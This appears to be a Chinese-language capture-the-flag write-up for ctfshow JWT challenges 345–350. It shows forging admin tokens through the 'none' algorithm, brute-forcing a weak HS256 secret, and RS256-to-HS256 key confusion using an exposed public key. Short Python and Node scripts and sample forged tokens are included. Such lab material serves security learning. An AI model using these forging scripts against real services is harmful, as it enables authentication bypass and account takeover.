ctfshow-JWT-WP

345

抓包发现有auth=eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoidXNlciJ9XQ

base64解开后是{"alg":"None","typ":"jwt"}[{"sub":"user"}]

根据这篇文章里面介绍的:
https://cloud.tencent.com/developer/article/1620770

header 是 {"alg":"None","typ":"jwt"}

payload: [{"sub":"user"}]

没有看到签名信息.

payload里的sub信息就是jwt所面向的用户

修改这个为admin,再base64编码一下 得到下面的

auth=eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoiYWRtaW4ifV0=

带着这个cookie发送到/admin下就得到flag了

346

jwt迅速解开可以用 https://jwt.io/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
jwt信息
{
"alg": "HS256",
"typ": "JWT"
}

{
"iss": "admin",
"iat": 1610777230,
"exp": 1610784430,
"nbf": 1610777230,
"sub": "user",
"jti": "a2c361f745f3e100752ad84e566a811b"
}

参考这篇文章里面的,将JWT算法改为none

https://www.cnblogs.com/dliv3/p/7450057.html

1
2
3
4
5
6
7
8
import base64
def jwtBase64Encode(x):
return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')
header = '{"typ":"JWT","alg":"none"}'
payload = '{"iss":"admin","iat":1610777230,"exp":1610784430,"nbf":1610777230,"sub":"admin",' \
'"jti":"a2c361f745f3e100752ad84e566a811b"} '

print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')

347

1
2
3
4
5
6
7
8
9
10
11
12
13
14
jwt信息
{
"alg": "HS256",
"typ": "JWT"
}

{
"iss": "admin",
"iat": 1610777706,
"exp": 1610784906,
"nbf": 1610777706,
"sub": "user",
"jti": "a4b369d0b43dd96bcf980881e3f0d5ea"
}

还是HS256这种加密算法,这次再把加密方式改为none就失败了.

还有一种方法就是爆破密钥 c-jwt-cracker 进行爆破:

爆破了好久,发现不行…

看大佬wp发现是123456.应该是 c-jwt-cracker 暴力破解效率太低了

根据secret生成jwt

1
2
3
4
5
6
7
8
9
10
11
12
# python2
import jwt
payload = {
"iss": "admin",
"iat": 1610777706,
"exp": 1610784906,
"nbf": 1610777706,
"sub": "admin",
"jti": "a4b369d0b43dd96bcf980881e3f0d5ea"
}
secret = '123456'
print(jwt.encode(payload, secret, algorithm='HS256'))

或者直接在这生成https://jwt.io/

348

jwt信息

1
2
3
4
5
6
7
8
9
10
11
12
{
"alg": "HS256",
"typ": "JWT"
}
{
"iss": "admin",
"iat": 1610779763,
"exp": 1610786963,
"nbf": 1610779763,
"sub": "user",
"jti": "388f3cebe059e8118a6fc1a4f839a81f"
}

直接爆破

1610779796205

用上面的python脚本进行伪造adminJWT即可

349

jwt信息

1
2
3
4
5
6
7
8
{
"alg": "RS256",
"typ": "JWT"
}
{
"user": "user",
"iat": 1610780008
}

RS256加密类型,只搜索到一种攻击思路 修改算法RS256为HS256(非对称密码算法 => 对称密码算法)

如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名

我们需要获取到公钥

题目给了一段node的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');

});

router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});

访问/public.key可以直接得到公钥

1
2
3
4
5
6
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNioS2aSHtu6WIU88oWzpShhkb
+r6QPBryJmdaR1a3ToD9sXDbeni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnX
YqlTJItOdHZio3Bi1J2Elxg8IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjA
bG1Naz58ibbtogeglQIDAQAB
-----END PUBLIC KEY-----

然后同样的方法得到私钥

再用https://jwt.io/伪造(就不用修改算法了)

1610781097322

然后直接POST

1610781046452

350

直接给了源码,里面有public key

可以直接修改算法RS256为HS256(非对称密码算法 => 对称密码算法)

python写算法老是出错.原因暂不清楚

1610782553764

看yu22x师傅博客是直接用node写的exp

1
2
3
4
5
6
7
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2MTA3ODI3MDV9.6K4MH3aChKyeyIFtDCWRBO33P8QgrB7wPeOUjF-URGg

1610782779007